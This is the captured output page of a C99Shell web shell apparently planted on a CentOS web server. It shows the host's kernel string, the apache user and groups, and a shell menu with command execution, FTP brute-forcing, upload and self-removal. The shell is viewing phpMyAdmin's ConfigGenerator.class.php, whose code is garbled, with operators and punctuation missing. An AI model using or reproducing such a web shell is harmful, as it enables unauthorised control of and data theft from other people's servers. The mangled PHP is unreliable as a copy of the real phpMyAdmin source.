!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/usr/share/phpMyAdmin/setup/lib/   drwxr-xr-x
Free 9.19 GB of 93.48 GB (9.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ConfigGenerator.class.php (4.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Config file generator
 *
 * @package PhpMyAdmin-Setup
 */

/**
 * Config file generation class
 *
 * @package PhpMyAdmin
 */
class ConfigGenerator
{
    
/**
     * Creates config file
     *
     * @param ConfigFile $cf Config file instance
     *
     * @return string
     */
    
public static function getConfigFile(ConfigFile $cf)
    {
        
$crlf = (isset($_SESSION['eol']) && $_SESSION['eol'] == 'win')
            ? 
"\r\n"
            
"\n";
        
$c $cf->getConfig();

        
// header
        
$ret '<?php' $crlf
            
'/*' $crlf
            
' * Generated configuration file' $crlf
            
' * Generated by: phpMyAdmin '
                    
$GLOBALS['PMA_Config']->get('PMA_VERSION')
                    . 
' setup script' $crlf
            
' * Date: ' date(DATE_RFC1123) . $crlf
            
' */' $crlf $crlf;

        
// servers
        
if ($cf->getServerCount() > 0) {
            
$ret .= "/* Servers configuration */$crlf\$i = 0;" $crlf $crlf;
            foreach (
$c['Servers'] as $id => $server) {
                
$ret .= '/* Server: '
                    
strtr($cf->getServerName($id) . " [$id] "'*/''-')
                    . 
"*/" $crlf
                    
'$i++;' $crlf;
                foreach (
$server as $k => $v) {
                    
$k preg_replace('/[^A-Za-z0-9_]/''_'$k);
                    
$ret .= "\$cfg['Servers'][\$i]['$k'] = "
                        
. (is_array($v) && self::_isZeroBasedArray($v)
                                ? 
self::_exportZeroBasedArray($v$crlf)
                                : 
var_export($vtrue))
                        . 
';' $crlf;
                }
                
$ret .= $crlf;
            }
            
$ret .= '/* End of servers configuration */' $crlf $crlf;
        }
        unset(
$c['Servers']);

        
// other settings
        
$persistKeys $cf->getPersistKeysMap();

        foreach (
$c as $k => $v) {
            
$k preg_replace('/[^A-Za-z0-9_]/''_'$k);
            
$ret .= self::_getVarExport($k$v$crlf);
            if (isset(
$persistKeys[$k])) {
                unset(
$persistKeys[$k]);
            }
        }
        
// keep 1d array keys which are present in $persist_keys (config.values.php)
        
foreach (array_keys($persistKeys) as $k) {
            if (
/*overload*/mb_strpos($k'/') === false) {
                
$k preg_replace('/[^A-Za-z0-9_]/''_'$k);
                
$ret .= self::_getVarExport($k$cf->getDefault($k), $crlf);
            }
        }
        
$ret .= '?' '>';

        return 
$ret;
    }

    
/**
     * Returns exported configuration variable
     *
     * @param string $var_name  configuration name
     * @param mixed  $var_value configuration value(s)
     * @param string $crlf      line ending
     *
     * @return string
     */
    
private static function _getVarExport($var_name$var_value$crlf)
    {
        if (!
is_array($var_value) || empty($var_value)) {
            return 
"\$cfg['$var_name'] = "
                
var_export($var_valuetrue) . ';' $crlf;
        }
        
$ret '';
        if (
self::_isZeroBasedArray($var_value)) {
            
$ret "\$cfg['$var_name'] = "
                
self::_exportZeroBasedArray($var_value$crlf)
                . 
';' $crlf;
        } else {
            
// string keys: $cfg[key][subkey] = value
            
foreach ($var_value as $k => $v) {
                
$k preg_replace('/[^A-Za-z0-9_]/''_'$k);
                
$ret .= "\$cfg['$var_name']['$k'] = "
                    
var_export($vtrue) . ';' $crlf;
            }
        }
        return 
$ret;
    }

    
/**
     * Check whether $array is a continuous 0-based array
     *
     * @param array $array Array to check
     *
     * @return boolean
     */
    
private static function _isZeroBasedArray(array $array)
    {
        for (
$i 0$nb count($array); $i $nb$i++) {
            if (! isset(
$array[$i])) {
                return 
false;
            }
        }
        return 
true;
    }

    
/**
     * Exports continuous 0-based array
     *
     * @param array  $array Array to export
     * @param string $crlf  Newline string
     *
     * @return string
     */
    
private static function _exportZeroBasedArray(array $array$crlf)
    {
        
$retv = array();
        foreach (
$array as $v) {
            
$retv[] = var_export($vtrue);
        }
        
$ret "array(";
        if (
count($retv) <= 4) {
            
// up to 4 values - one line
            
$ret .= implode(', '$retv);
        } else {
            
// more than 4 values - value per line
            
$imax count($retv);
            for (
$i 0$i $imax$i++) {
                
$ret .= ($i ',' '') . $crlf '    ' $retv[$i];
            }
        }
        
$ret .= ')';
        return 
$ret;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0199 ]--